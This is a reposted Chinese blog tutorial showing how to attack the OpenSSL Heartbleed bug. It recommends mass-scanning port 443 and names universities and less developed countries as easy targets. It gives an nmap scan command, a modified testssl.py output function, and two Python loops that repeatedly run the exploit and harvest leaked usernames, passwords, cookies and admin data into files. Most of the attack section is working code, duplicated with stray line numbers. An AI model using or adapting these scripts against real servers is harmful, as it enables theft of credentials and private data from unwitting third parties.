OpenSSL Heartbleed "心臟滴血"漏洞簡單攻擊示例


轉自:http://www.lijiejie.com/openssl-heartbleed-attack/

  

OpenSSL Heartbleed漏洞的公開和流行讓許多人興奮了一把,也讓另一些人驚慌了一把。

單純從攻擊的角度講,我已知道的,網上公開的掃描工具有:

1.  Nmap腳本ssl-heartbleed.nse: http://nmap.org/nsedoc/scripts/ssl-heartbleed.html


nmap -sV --script=ssl-heartbleed <target>
1
nmap -sV --script=ssl-heartbleed <target>
2. Jared Stafford的testssl.py: https://gist.github.com/sh1n0b1/10100394

3. CSHeartbleedScanner:    http://www.crowdstrike.com/community-tools/

若想要批量尋找攻擊目標,可以直接掃目標IP段的443端口。高校和互聯網不發達的國家都是比較容易攻擊的。

得到活躍主機IP地址,再導入上述掃描器。

針對特定的某個攻擊目標,可以查看已經讀到的內容,利用正則表達式不停拉抓賬號密碼。

也可以根據關鍵詞,不停抓下cookie,賬號等。

將testssl.py的代碼修改為不輸出偏移地址和非ascii字符,找到hexdump函數,修改為:


def hexdump(s):
    pdat = ''
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)

    print '%s' % (pdat.replace('......', ''),)
    print
1
2
3
4
5
6
7
8
def hexdump(s):
    pdat = ''
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
 
    print '%s' % (pdat.replace('......', ''),)
    print
這樣就只輸出有用的ascii字符串了。

 1. 正則表達式抓賬號


import os
import re
import time

accounts = []
while True:
    result = os.popen('openssl.py ').read()
    matches = re.findall('"db":"(.*?)","login":"(.*?)","password":"(.*?)"', result)
    for match in matches:
        if match not in accounts:
            accounts.append(match)
            with open('accounts.txt', 'a') as inFile:
                inFile.write(str(match) + '\n')
            print 'New Account:', match
    time.sleep(1.0)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import os
import re
import time
 
accounts = []
while True:
    result = os.popen('openssl.py ').read()
    matches = re.findall('"db":"(.*?)","login":"(.*?)","password":"(.*?)"', result)
    for match in matches:
        if match not in accounts:
            accounts.append(match)
            with open('accounts.txt', 'a') as inFile:
                inFile.write(str(match) + '\n')
            print 'New Account:', match
    time.sleep(1.0)
腳本間隔一秒鍾讀一次數據,發現正則匹配的賬號密碼,若之前沒出現過,就寫入accounts.txt文件。

這樣可以避免重復寫入同樣的賬號、密碼。

2. 根據關鍵詞抓數據

如果並不確定后台地址,也不知道登錄請求、Cookie的格式,直接用關鍵詞抓賬號就行了。

類似下面的代碼:


import os
import re
import time

accounts = []
while True:
    result = os.popen('openssl.py ').read()
    keywords = ['system', 'password', 'passwd', 'admin']
    for word in keywords:
        if result.find(word) > 0:
            print 'new data', time.asctime()
            with open('data_1\\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f:
                f.write(result)
            break
    time.sleep(1.0)

import os
import re
import time
 
accounts = []
while True:
    result = os.popen('openssl.py ').read()
    keywords = ['system', 'password', 'passwd', 'admin']
    for word in keywords:
        if result.find(word) > 0:
            print 'new data', time.asctime()
            with open('data_1\\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f:
                f.write(result)
            break
    time.sleep(1.0)
這樣一旦返回的數據中存在關鍵詞passwd、password等,就會把數據寫入data_1文件夾下面,以時間命名。

  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM